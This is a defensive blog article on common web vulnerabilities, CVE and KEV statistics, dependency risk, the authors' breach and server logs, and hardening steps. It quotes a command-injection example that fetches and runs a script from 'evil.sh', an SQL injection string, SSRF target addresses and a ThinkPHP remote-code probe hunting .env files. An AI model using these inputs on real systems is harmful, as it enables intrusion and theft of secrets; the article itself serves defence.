IT Security Vulnerabilities in 2026: The Common Types, Real Numbers, and What Actually Helps

IT Security Vulnerabilities in 2026: The Common Types, Real Numbers, and What Actually Helps

IT security vulnerabilities are not a topic reserved for corporations with a dedicated security team. They matter to anyone who puts anything on the internet — a website, a shop, an API, a server. The reason is simple and still constantly underestimated: you are not attacked because you are interesting. You are attacked because your IP address exists.

This article explains the most common types of IT security vulnerabilities, how a vulnerability is discovered, reported and rated, why dependencies are by far the largest entry point today — and what concretely helps. No scaremongering, no sales pitch.

And because theory is especially cheap on this topic, the most uncomfortable numbers here come from our own machines: from a real breach we documented, from the logs of the server hosting this blog, and from a security scan of our own project whose result surprised us while writing.

Every external figure in this article was retrieved on 2 August 2026 directly from the source — the NVD API, the CISA KEV catalogue, OWASP. Not from memory, not from secondary blog posts. Where you can check the current state yourself is noted throughout.

The short version

  • A vulnerability is a flaw that breaks a security guarantee — not every bug is a vulnerability, but every vulnerability is a bug.
  • The biggest entry point is other people’s code you never read. This blog has four direct dependencies — and installs 327 packages. The scan reports 13 open findings, eleven of them in packages we never knowingly installed.
  • RCE plus root is the lethal combination. In our own incident an outdated Next.js app ran as root — one successful request handed over the entire server.
  • Attacks are fully automated and indiscriminate. Our logs contain a single request carrying 783 different .env paths — 48,827 characters, one bot trying every conceivable location at once.
  • The CVE flood is real: 16,255 CVEs in Q1/2026 alone, 20,871 in Q2 (NVD, as of 02.08.2026). Patching everything is impossible — prioritising is mandatory.
  • CVSS tells you how bad it would be in theory. The KEV catalogue tells you what is actually being exploited right now. The second number matters more for your ordering.
  • The most effective measures are boring: stay current, don’t run as root, bind services to 127.0.0.1, rotate secrets, actually look at your logs.
  • The honest part: we have open findings ourselves, and further down we list which ones and why we live with them.
A grid of six abstract failure archetypes: a gate executing an instruction, a query splitting in two, a script slipping into a frame, a request turning back inward, a stale package, and a switch left in the wrong position

What is an IT security vulnerability?

An IT security vulnerability is a flaw or weakness in software, configuration or design that lets someone do something they should not be able to do: read data, alter data, execute commands, impersonate someone else, or take a service offline.

The distinction from an ordinary bug matters, because it is often blurred:

  • A bug is when software does something other than intended.
  • A vulnerability is when that something grants someone power they should not have.

A typo in an error message is a bug. A typo in a permission check is a vulnerability. Same mistake, entirely different consequence.

Three terms also get mixed up constantly:

TermMeaningExample
VulnerabilityThe weakness itselfAn input is never validated
ExploitWorking attack codeA script abusing exactly that input
Attack / incidentActual useSomeone runs that script against your server

A vulnerability without an exploit is a risk. A vulnerability with a public exploit is an appointment. That difference is the single biggest lever when deciding what to patch first — more on that below.

Why vulnerabilities exist at all

Not because of laziness. Software today is so large that nobody has a complete view of it. An average web project consists of 90 to 99 percent code the team never wrote and never read. On top of that sit layers nobody looks at: operating system, libraries, container base image, CPU microcode.

Every one of those layers can carry vulnerabilities. And you inherit all of them.

The most common vulnerability types, explained plainly

There are hundreds of taxonomies. These are the ones you actually meet in web work.

1. Remote Code Execution (RCE) — the top tier

What happens: An attacker gets your server to run their code. Not read data, not modify data — execute their code.

Why it’s the worst: Every other vulnerability class hands an attacker a piece of power. RCE hands over the rest as well. Whoever can execute code can download more, establish persistence, and keep looking.

How it arises: User input reaches something that executes it. The classic looks roughly like this:

// DANGEROUS — never build this
const { exec } = require('child_process');
app.get('/ping', (req, res) => {
  exec(`ping -c 1 ${req.query.host}`, (err, out) => res.send(out));
});

Send ?host=8.8.8.8; curl evil.sh | sh and you’ve won. The shell reads the semicolon as “and now this as well”.

The part most people miss: in our own documented incident the vulnerable code was not in the operator’s application. It was in the framework. You can do everything right yourself and still be affected — more on that shortly.

2. Injection: SQL, command, template

What happens: Data is processed somewhere it gets read as an instruction. SQL is the classic:

-- input inserted directly:
SELECT * FROM users WHERE name = 'INPUT';
-- input: ' OR '1'='1
SELECT * FROM users WHERE name = '' OR '1'='1';

“Show me this one user” becomes “show me every user”.

The fix has been the same for over twenty years and still hasn’t reached everywhere: prepared statements. Data and instruction travel separately, so the database physically cannot confuse them.

// Correct: placeholder, values passed separately
db.query('SELECT * FROM users WHERE name = ?', [input]);

Not “escape the quotes”. Not “filter bad words”. Separate them. Every blocklist is a race against creativity, and creativity wins.

In the current OWASP Top 10, injection has slipped from position 3 (2021) to A05:2025 — not because it disappeared, but because modern frameworks use prepared statements by default. A rare case of a problem genuinely shrinking through structure.

3. Cross-Site Scripting (XSS)

What happens: Attacker code ends up in other users’ browsers. A comment field accepts <script>...</script>, stores it, and every later visitor executes it.

Why it’s more than cosmetic: The code runs in the context of your domain. So it can do anything the logged-in user can — steal session tokens, submit forms, forge content.

What helps: encode output per context (HTML, attribute, JavaScript and URL each need their own rules), use modern template engines that do this automatically, and deploy a Content Security Policy as a second line of defence.

A current example from our own scan: Astro — the framework behind this blog — carried a finding titled “XSS in define:vars via incomplete </script> tag sanitization”. Even frameworks whose job is preventing XSS have XSS bugs.

4. Server-Side Request Forgery (SSRF)

What happens: You build a feature that fetches a user-supplied URL — a link preview, an image import, a website test. The attacker supplies not an external URL but an internal one: http://127.0.0.1:6379/ or http://169.254.169.254/latest/meta-data/.

Your server fetches it. Your server sits inside your network. What is unreachable from outside is reachable from there.

Why this is especially nasty: the cloud metadata address 169.254.169.254 hands out credentials at many providers. A harmless thumbnail feature can turn into a key dispenser.

We run two such services ourselves — the Core Web Vitals test and the Graph API tester. Both fetch URLs typed in by strangers. How we hardened them, and which trap nearly caught us, is in the practice section below; it teaches more than any theory.

5. Broken access control — the new number one

What happens: The check “is this user allowed to do this?” is missing, incomplete or bypassable. The classic: /invoice/1042 is yours — and /invoice/1043 shows a stranger’s invoice, because nobody verifies ownership.

Why it’s so common: access rules are business logic. No scanner can know that user B must not see user A’s invoice — that isn’t in any standard, only in your team’s heads.

In the OWASP Top 10:2025, Broken Access Control sits at A01 — first place. Our KEV analysis echoes this: terms around authentication and authorisation appear in 92 of the 1,656 demonstrably exploited entries.

6. Misconfiguration

Not coding errors — switches in the wrong position:

  • Database with no password, or the default one
  • Debug mode in production (leaks paths, versions, sometimes secrets)
  • A service listening on 0.0.0.0 instead of 127.0.0.1
  • Publicly readable backups, .git directories or .env files
  • Default credentials never changed

Misconfiguration ranks A02 in the OWASP Top 10:2025 — directly behind access control. It also has the best effort-to-benefit ratio of any category: usually it is one line.

We know from experience how easily you slide into it. Docker maps ports to all interfaces by default: '5432:5432' in a docker-compose.yml produces a PostgreSQL database reachable from the entire internet. That happened to us, and we did not notice it ourselves — the report came from the German CERT-Bund. Since then we write '127.0.0.1:5432:5432', without exception.

The proof that the rule stuck is checkable. Our running containers today:

woo-proxy-wp     127.0.0.1:8920->80/tcp
woo-proxy-db     127.0.0.1:3320->3306/tcp
shopware-test    127.0.0.1:8888->80/tcp, 127.0.0.1:8443->443/tcp
cobalt-api       127.0.0.1:9100->9000/tcp
pasta-stage-67   127.0.0.1:8810->80/tcp, 127.0.0.1:3310->3306/tcp
forkcart-db      127.0.0.1:5432->5432/tcp

Every one bound to 127.0.0.1. They are still reachable — through a reverse proxy that terminates TLS and decides what may pass. We described that setup in detail in our nginx reverse proxy guide.

7. Outdated dependencies

The actual elephant in the room. It gets its own section — it is the most important part of this article.

How vulnerabilities are found, reported and rated

CVE — the catalogue number for vulnerabilities

CVE stands for Common Vulnerabilities and Exposures. An ID like CVE-2025-29927 is not a rating but a unique label — so everyone involved talks about the same flaw.

The structure is CVE-year-number. The year is the year of reservation, not necessarily of publication. So in 2026 you will legitimately see CVEs carrying 2025 — not an error, just paperwork.

IDs are assigned by CNAs (CVE Numbering Authorities). Not only agencies: GitHub, Google, Microsoft and many open-source projects are CNAs themselves and issue numbers for their own software.

The scale nobody handles manually any more

On 2 August 2026 we queried the NVD API directly. Published CVEs per quarter:

PeriodPublished CVEs
Q1 20248,905
Q1 202512,412
Q2 202512,205
Q1 202616,255
Q2 202620,871
July 2026 (single month)9,919

Source: NVD API, retrieved 02.08.2026. Check it yourself:

curl -s "https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-04-01T00:00:00.000&pubEndDate=2026-06-30T23:59:59.999&resultsPerPage=1" \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['totalResults'])"

Over 20,000 CVEs in a quarter is roughly 230 per day. Anyone trying to track that completely does nothing else. The only realistic answer is prioritisation — and that needs better filters than “is it critical?”.

CVSS — how bad would it be in theory?

CVSS (Common Vulnerability Scoring System) assigns each vulnerability a value from 0.0 to 10.0:

RangeRating
0.1 – 3.9Low
4.0 – 6.9Medium
7.0 – 8.9High
9.0 – 10.0Critical

The score reflects, among other things, whether the flaw is reachable over the network, how complex the attack is, whether privileges or user interaction are required, and what damage results.

What CVSS does not tell you: whether the flaw is reachable at your site, whether a working exploit exists, and whether it is being exploited right now. A 9.8 in a module you never enable is harmless to you. A 6.5 in your login is an emergency.

CVSS is a property of the vulnerability, not of your risk. Working tickets in CVSS order means working someone else’s list.

KEV — what is actually being exploited

Here it gets practical. The US agency CISA maintains the KEV catalogue (Known Exploited Vulnerabilities) — vulnerabilities with evidence of exploitation in the wild. Not theory, not potential: observation.

We downloaded and analysed it on 2 August 2026. Version 2026.07.29, 1,656 entries. Distribution by year added:

Year addedNew entries
2021311
2022555
2023187
2024186
2025245
2026 (through July)172

1,656 against more than 20,000 per quarter. That ratio is the key insight of this article. The share of all published vulnerabilities with documented exploitation sits in the low single-digit per-mille range.

Vendors with the most entries:

VendorKEV entries
Microsoft382
Cisco95
Apple93
Adobe80
Google72
Oracle45
Apache39
Ivanti35
Fortinet29

And 332 of the 1,656 entries are explicitly flagged as used in ransomware campaigns.

The most instructive finding, though, is a different one. Of the 172 entries added during 2026, 38 — 22 percent — concern CVEs from 2024 or earlier. Among them numbers like CVE-2008-4250 and CVE-2009-1537. Vulnerabilities from 2008 and 2009 with demonstrated active exploitation in 2026.

That demolishes the most common misconception on this topic: that old vulnerabilities are done with. Attackers use what works. And somewhere an unpatched system is always still running.

Pull the catalogue and analyse it yourself:

curl -s https://raw.githubusercontent.com/cisagov/kev-data/develop/known_exploited_vulnerabilities.json \
  -o kev.json
python3 -c "
import json
d = json.load(open('kev.json'))
print(d['catalogVersion'], d['count'], 'entries')
"

The practical rule: if a vulnerability in your software is in KEV, patch today. Not this week. Today. Everything else goes into the normal update cycle.

Responsible disclosure — how a vulnerability reaches daylight

Whoever finds a vulnerability has three options: sell it, publish it, or report it. The established path is coordinated disclosure:

  1. Report to the vendor through a documented contact (security.txt, bug bounty programme, security@ address)
  2. Acknowledgement by the vendor
  3. Deadline, typically 90 days — a standard set by Google Project Zero
  4. Fix and release of an update
  5. Publication of details, usually with a CVE ID

The deadline is the actual mechanism. Without it, reports vanish into ticket systems. With it there is pressure — and the finder has a legitimate route to publish if nothing happens.

For your own website this means one thing concretely: create a /.well-known/security.txt. It takes two minutes and is the difference between “someone reports a vulnerability to you” and “someone finds no contact and drops it”:

Contact: mailto:security@your-domain.com
Expires: 2027-12-31T23:59:59.000Z
Preferred-Languages: en, de
A single small package unfolding into an enormous branching tree of hundreds of smaller packages, a few deep in the branches glowing amber with warning

Why dependencies are the biggest entry point

Now the part that made us swallow while writing.

This blog is one of the simplest web applications you can build: a static Astro site. No database, no user login, no server-side rendering. The package.json has four direct dependencies:

"dependencies": {
  "@astrojs/mdx": "...",
  "@astrojs/sitemap": "...",
  "astro": "...",
  "sharp": "..."
}

Four lines we chose deliberately. Then we counted what is actually installed:

npm ls --all --parseable | wc -l
# 340

Four packages become 327 production packages (plus optional ones; npm reports 458 resolved entries in total). We made four decisions. The other 323 packages were decided for us by other people.

Then the scan:

npm audit

13 findings: 9 high, 2 moderate, 2 low. On a static blog. The list, complete and unvarnished:

PackageSeverityDirect?Core of the finding
astrohighyesXSS in define:vars, server island parameters
@astrojs/mdxlowyesinherited from astro
defuhighnoprototype pollution via __proto__
devaluehighnoprototype pollution during parsing
js-yamlhighnoquadratic complexity via merge keys (DoS)
picomatchhighnomethod injection in POSIX character classes
postcsshighnoXSS via unescaped </style>
sharphighnoinherited libvips CVEs
svgohighnoremoveScripts leaves scripts intact
vitehighnopath traversal, arbitrary file read
esbuildlownofile read via dev server (Windows)
h3moderatenoSSE injection via \r
smol-tomlmoderatenoDoS via comment-heavy TOML

Eleven of the thirteen findings sit in packages whose names we never typed. defu, picomatch, smol-toml — all arrived through the chain. We never decided to install them. We decided to install astro.

That is precisely what “you inherit all your dependencies’ vulnerabilities” means. It sounds abstract until you count it in your own project.

Why OWASP promoted this to number 3 in 2025

In the OWASP Top 10:2025, category A03 is “Software Supply Chain Failures”. In the 2021 version the related item was called “Vulnerable and Outdated Components” and sat at position 6. The rename is not cosmetic: the concern is no longer only outdated components, but the entire supply chain — including whether the package you install still belongs to the people you trust.

That concern is well founded. In September 2025 a phishing campaign took over the npm accounts of several extremely widespread micro-packages — debug, color-name, color-convert, is-arrayish, error-ex and others. Each received its own CVE with CVSS 8.8. These are packages almost nobody installs deliberately; they simply live in every node_modules.

The decisive point: nobody had to exploit a vulnerability there. Taking over an account and publishing a new version was enough. The attack arrived through the official, trusted channel — the very same one your updates use.

The case from our own practice

We documented a real breach in detail — a server hijacked for five days. The short version, because it fits exactly here:

The entry point was a web app on Next.js 15.3.3 with an RCE vulnerability via a server action. The vulnerable code was not in the operator’s application — it was in the framework. The logs held over 26,000 attempts against that one endpoint. Not a targeted attack: a bot sweeping half the internet.

Then the mistake that turned an annoyance into a catastrophe: the app ran as root. RCE means “the attacker can execute commands”. As root means “with full privileges”. Together: one successful request and the whole server is theirs. The privilege-escalation step that normally slows attackers down simply did not exist.

This ran unnoticed for five days. It was discovered not by a security tool but because a crypto miner consumed CPU so greedily that other services crashed. The breach surfaced because the attacker was too greedy. A throttled miner would likely still be running.

How much did the attacker earn? A few euros. That is the price at which someone else’s server gets burned.

Getting the chain under control

The problem is not solvable, but it is manageable:

1. Commit the lockfile, always. package-lock.json belongs in the repository. Without it every build may install different versions — and afterwards you cannot say what actually ran. For deployments use npm ci instead of npm install: it installs exactly the lockfile, nothing else.

2. Scan regularly, but do not fix blindly. npm audit is free and built in. However, npm audit fix --force can introduce breaking changes — which is exactly why everything in our table above is still open. What we do instead is in the honesty section below.

3. Vet dependencies before adding them. When was the last update? How many maintainers? Does this package really need 40 dependencies of its own? A one-liner from a single maintainer is a risk that often resolves into five lines of your own code.

4. Automated update pull requests. Dependabot or Renovate produce small, reviewable PRs. The effect is psychological: a PR with one version bump is a click. An update after two years is a project.

5. Shrink the attack surface. The most effective step is the least popular: fewer dependencies. This blog needs no React, no client state, no CSS-in-JS. A static site has no database to inject into and no server process to hijack. Why we chose against a classic CMS is covered in our article on modern WordPress alternatives.

An abstract triage flow where a large pile of numbered severity cards passes through a narrowing funnel and only a handful emerges flagged as urgent

What is actually in your logs

The most abstract claim in this article is: “you are attacked because your IP exists.” So we looked.

SSH: 9,604 failed attempts in seven days

A look at the journal of the server hosting this blog:

journalctl -u ssh --since "7 days ago" | grep -c "Invalid user\|Failed password"
# 9604

9,604 failed login attempts in one week, from 437 distinct IP addresses. The most-tried usernames:

UsernameAttempts
ubuntu836
admin706
user172
test148
ftpuser81
support73
ubnt70
oracle66

That is pure guessing of default names. It gets interesting at position three: a name referring to our operator, with 611 attempts. So it is not only blind guessing — someone also looks up who owns a machine.

The conclusion is uncomfortable but unambiguous: password authentication over SSH is not an option at this frequency. Key-based login, PasswordAuthentication no, plus fail2ban or another rate limiter. A password that must withstand 9,604 attempts per week eventually loses.

One request, 783 .env paths

The most striking finding, however, is in the web server logs. We analysed the requested URLs of the past 14 days and looked at the longest request.

48,827 characters. A single request. It begins like this:

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=...

That is a known ThinkPHP RCE attempt. The server is supposed to call system() with the parameter’s contents. And those contents are quite something — we decoded and counted them:

  • 783 distinct .env paths
  • 159 variants of wp-config.php

In one call the bot tries /var/www/.env, /var/www/html/.env.local, /opt/app/.env.production, /srv/http/htdocs/.env.backup, /usr/local/apache2/htdocs/wp-config.php.old — and onward through every conceivable combination of directory and suffix. Even .env.2024, .env.2025 and .env.2026 are in there.

If you ever wondered whether renaming .env to .env.backup is enough: the answer is in that request.

What follows from it is a posture, not a single measure:

  • Configuration files never belong in the web directory. Not hidden, not renamed — not there at all.
  • Renaming is not a security measure. The bot already knows your creativity.
  • An application that does not run on the server cannot be attacked. This blog serves static HTML. The ThinkPHP attempt never stood a chance here — not because we blocked it, but because there is nothing that could execute PHP.

That last point is the most underrated in the whole discussion. The most secure component is the one you don’t run.

You can verify this yourself

# Failed SSH attempts over the last week
journalctl -u ssh --since "7 days ago" | grep -c "Failed password"

# Most-tried usernames
journalctl -u ssh --since "7 days ago" \
  | grep -oP "Invalid user \K\S+" | sort | uniq -c | sort -rn | head

# Suspicious paths in the web server logs (Caddy)
journalctl -u caddy --since "14 days ago" \
  | grep -oP '"uri":"\K[^"]+' | grep -iE "wp-|\.env|\.git|phpmyadmin"

Running this on your own machine for the first time tends to be a clarifying moment.

A single incoming request arrow fanning out into hundreds of thin probing tendrils, each tapping a different door along a long wall of identical closed doors

Practice: how we hardened our own SSRF-prone services

We run two tools that are risky by definition: the Core Web Vitals Test and the Graph API Tester. Both fetch a URL typed in by a stranger. That is SSRF risk in its purest form.

We are writing down how we solved it — not as a template to copy, but because one of the traps is instructive.

Layer 1 — scheme and shape. Only http: and https:. No credentials in the URL. No hostnames such as localhost, metadata.google.internal, or suffixes like .local and .internal. A single word without a dot cannot be a public host and is rejected.

Layer 2 — check every resolved IP, not the name. This is the core. A name proves nothing; evil.example.com can point at 127.0.0.1 without difficulty. So we resolve via DNS and check every answer: loopback, private ranges, CGNAT, link-local (including 169.254.169.254), multicast, test networks.

Crucially, we reject if any resolved address is private — not only if all of them are. Otherwise an attacker could publish one public and one private address and hope we pick the wrong one.

Layer 3 — pin the IP. After validation the connection goes to exactly the address that was checked. Otherwise a gap remains called DNS rebinding: the name resolves to a harmless address during validation and to 127.0.0.1 when the connection is actually made. Checking and connecting must concern the same address.

Layer 4 — do not follow redirects. A 3xx is returned to the caller rather than chased. Otherwise a validated public URL can simply redirect to an internal one and the whole check was pointless.

And now the trap that nearly caught us. Node normalises IPv6 addresses. The URL parser turns the text ::ffff:127.0.0.1 into ::ffff:7f00:1 — same address, different notation. A check that only knows the dotted form never sees this variant. The code has to convert the two 16-bit groups back into an IPv4 address:

const hexMapped = v.match(/^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/);
if (hexMapped) {
  const hi = parseInt(hexMapped[1], 16);
  const lo = parseInt(hexMapped[2], 16);
  const v4 = [(hi >> 8) & 255, hi & 255, (lo >> 8) & 255, lo & 255].join('.');
  return isPrivateAddress(v4);
}

The comment at that spot in our source reads: “Missing this is a full SSRF bypass — verified against our own internal service.” So we did not merely suspect it in theory; we tried it against one of our own internal services — and the bypass worked.

The generalisable lesson: a security check based on string comparison is defeated by any alternative notation of the same value. Decimal, hexadecimal, octal, IPv6-mapped, URL-encoded, double URL-encoded. Validate the parsed value, never the string. And test your check with inputs you expect to slip through — a filter that has never rejected anything is not a verified filter, it is a hope.

Concrete countermeasures, ordered by effect

Stay current — the one measure that beats everything

Uncomfortable but true: nearly every major incident would have been prevented by an available update. The patch for the Next.js flaw in our incident existed when the server was taken over.

  • Operating system: enable unattended-upgrades for security updates
  • Applications: Dependabot/Renovate, small PRs instead of grand migrations
  • Containers: rebuild base images regularly — a FROM node:22 from a year ago is a year old
  • Order: KEV first, then critical, then the rest

Reduce privileges

Nothing runs as root that doesn’t have to. That was the amplifier that took our incident from annoying to catastrophic.

# systemd service with reduced privileges
[Service]
User=appuser
Group=appuser
NoNewPrivileges=true
PrivateTmp=true
ProtectSystem=strict
ProtectHome=true
ReadWritePaths=/var/lib/myapp

These five lines do not change whether someone breaks in — they change what happens next. The difference between “one service is compromised” and “the server is gone”.

Shrink the attack surface

  • Bind services to 127.0.0.1 when they need not be public. Databases, caches, internal APIs.
  • Specify Docker ports explicitly: '127.0.0.1:5432:5432', never '5432:5432'.
  • Firewall default deny, then open deliberately.
  • Switch off services you don’t need. A service that isn’t running has no vulnerabilities.

This point deserves an honest note. While writing, we reviewed our own open ports — and found port 631, the CUPS printing service, on 0.0.0.0. On a server with no printer attached. It is not an acute vulnerability, because the firewall sits in front of it, but it is exactly the kind of leftover nobody ever looks for, because nobody ever asks. It is on our list. The finding is typical: you find these things only by actively looking — not by waiting for an alert.

Treat input as hostile

  • Prepared statements for all database access, without exception
  • Encode output per context (HTML ≠ attribute ≠ JavaScript ≠ URL)
  • Allow-lists instead of block-lists. A list of what is permitted is finite. A list of what is forbidden never is.
  • Limit sizes and types — uploads, JSON bodies, array lengths

Take secrets seriously

  • Never in the repository. Not even “just briefly”. Git forgets nothing; git rm removes nothing from history.
  • Not in the web directory — see the 783 paths above.
  • Rotate after every incident. Anything that sat on a compromised machine counts as disclosed. Everything.
  • Separate keys for separate services, so one leak doesn’t open everything.

Actually look

A09 of the OWASP Top 10:2025 is “Security Logging and Alerting Failures”. It is its own category that nobody is watching — and our own incident is the textbook case: five days, discovered by accident.

The minimum, requiring no contract and no budget:

  • Collect logs centrally, so an attacker cannot simply delete them locally
  • One simple alert on sustained CPU load — that would have exposed our miner within minutes
  • Five minutes a week looking at the auth logs
  • A glance at unusual outbound connections
A hardened server surrounded by concentric protective rings, each a different countermeasure, with a privilege-reduced figure inside and an automated update cycle orbiting outside

The honest part: our own open items

A security article pretending its author has everything under control is a brochure. So here is the counter-ledger.

We have 13 open findings in this blog — the table above is not from a textbook, it is from this morning. Why we did not close them immediately:

The bulk concerns build tooling, not the delivered result. vite, esbuild, svgo, postcss run on our machine when we build the site. The output is static HTML. A path traversal in Vite’s dev server is not an attack path on a server where no Vite runs.

That is an assessment, not an all-clear — and it is exactly the point of this section: CVSS scores describe the vulnerability, not your situation. Nine “high” findings sound dramatic. In this context most of them are not. In a project that exposes Vite’s dev mode publicly, the same findings would be an emergency.

What we do not allow ourselves is to talk down the Astro finding. astro is our direct dependency, the finding concerns XSS in rendering, and we treat it differently from the build chain.

Further open items, transparently:

  • Port 631 (CUPS) on 0.0.0.0 — found while writing this article, see above.
  • We have no automated dependency PRs for this project. We recommend them above. We do not use them here yet. That is a gap between advice and practice, and it deserves naming.
  • No central log destination. We read journalctl on the machine — which an attacker with root could alter.

We write this not out of contrition but because it is the realistic state of most small setups. Security is not a state you reach. It is a list that never empties — and the difference between secure and insecure is usually whether you keep the list at all.

A realistic plan for small setups

No security team, no budget, no full-time role. In the order that pays off.

One-off, one afternoon:

  1. Switch SSH to keys, PasswordAuthentication no, install fail2ban
  2. Walk through every service: does it really need to listen on 0.0.0.0? (ss -tlnp)
  3. Firewall: default deny, open deliberately
  4. Check what runs as root — and change the rest
  5. Enable unattended-upgrades for security updates
  6. Create a security.txt
  7. Test backups — not their existence, their restoration

Monthly, twenty minutes:

  1. Run npm audit / composer audit / pip-audit
  2. Compare the KEV catalogue against your own software
  3. Read through the auth logs
  4. Diff open ports against the last known state

After every incident, without exception:

  1. Rebuild, don’t clean. A backdoor you miss is worse than a day of work.
  2. Rotate all secrets
  3. Write down how it happened — the incident is the most expensive training you will ever receive

Frequently asked questions about IT security vulnerabilities

What are the most common IT security vulnerabilities?

Five groups dominate in practice: broken access control (someone sees data that isn’t theirs), misconfiguration (default passwords, open ports, debug mode in production), vulnerable dependencies (third-party code with known flaws), injection (SQL, commands, templates) and authentication failures. The current OWASP Top 10:2025 lists Broken Access Control at A01, Security Misconfiguration at A02 and Software Supply Chain Failures at A03.

How do I find vulnerabilities in my own system?

Start with what needs no extra software: npm audit, composer audit or pip-audit for dependencies, ss -tlnp for open ports, a look at the auth logs. External scanners come after that. Completeness is not the goal — no scanner finds flaws in your business logic, because it does not know your business logic.

What is the difference between CVE and CVSS?

CVE is the name, CVSS is the grade. A CVE ID such as CVE-2025-29927 uniquely identifies a specific flaw so everyone discusses the same one. CVSS assigns it a severity from 0.0 to 10.0. The CVSS score describes the vulnerability itself, not your concrete risk — for that you additionally need to ask whether it is reachable in your setup and whether it is being actively exploited.

Do I really have to patch every vulnerability immediately?

No — with over 20,000 CVEs per quarter that is impossible for anyone. The workable order is: first, everything in CISA’s KEV catalogue (demonstrably exploited, 1,656 entries — vanishingly few compared to all CVEs). Second, critical flaws in anything reachable from outside. Third, the rest in the normal update cycle. Whatever is not reachable at all comes last.

Why are dependencies so dangerous?

Because you inherit their vulnerabilities without ever having seen them. This blog has four direct dependencies and installs 327 packages; of the 13 reported findings, eleven sit in packages whose names we never typed. On top of that comes takeover risk: during the npm phishing wave in September 2025, accounts of very widespread micro-packages were hijacked and malicious versions distributed through the entirely normal update channel.

What is responsible disclosure?

The coordinated route for reporting a discovered vulnerability: the finder informs the vendor, the vendor acknowledges, a deadline runs (typically 90 days) during which a fix should appear, and afterwards the details are published. The deadline is the mechanism — it prevents reports from sitting unhandled. So that people can reach you, a /.well-known/security.txt belongs on every website.

Is an SSL certificate enough protection?

No. TLS protects data in transit between browser and server. It does not protect against SQL injection, missing access control, outdated packages, or a service running as root. An attacker taking over your application does so encrypted. The padlock in the browser says only: the channel is sealed. It says nothing about the house at the end of the channel.

How do I recognise that my server has been compromised?

Typical signs: sustained high CPU load without reason (crypto miner), unknown processes or cron jobs, outbound connections to unknown destinations, modified system files, services crashing for no reason. That last one matters most — in our case the crashing services were not a problem of their own but the symptom. It is the only reason the breach was noticed at all.

Is a static website really more secure?

Yes, and not gradually but categorically — for an entire class of attacks. No database means no SQL injection. No server process means no RCE through the application. Our logs contain a ThinkPHP attack attempt that never stood a chance on this server, simply because no PHP runs here. This does not replace server hardening — your SSH is still exposed — but it removes a large portion of the attack surface.

Conclusion

IT security vulnerabilities are not a matter of prominence. The 9,604 SSH attempts of the past week were not aimed at us but at an IP address. The request carrying 783 .env paths was not personal. And the attacker who burned an entire server in our documented incident earned a few euros doing it.

What actually follows from the numbers in this article:

The threat is automated and indiscriminate. You don’t need an enemy. You need a reachable address.

The biggest entry point is other people’s code. Four deliberate decisions, 327 packages, eleven findings in packages we never chose — on the simplest application anyone can build. Yours does not look better; the only question is whether you have counted.

The volume is unmanageable, the selection is not. Over 20,000 CVEs per quarter against 1,656 KEV entries in total. Prioritising by demonstrated exploitation instead of severity turns an impossible task into a feasible one.

Old does not mean finished. 22 percent of the entries newly added to KEV in 2026 concern CVEs from 2024 or earlier — going back as far as 2008.

And the amplifier is nearly always the same: too many privileges. The same vulnerability is a nuisance when the service runs under its own user, and a catastrophe when it runs as root.

The most effective measures are unspectacular: stay current, cut privileges, bind services to 127.0.0.1, keep secrets out of the web directory, look at your logs occasionally. None of it is new. None of it is hard. It is simply rarely done, because it never feels urgent — until it is.

And if you take exactly one action away from this article: run the log command above on your own machine. What you see there is more convincing than any paragraph we could write.


More from us: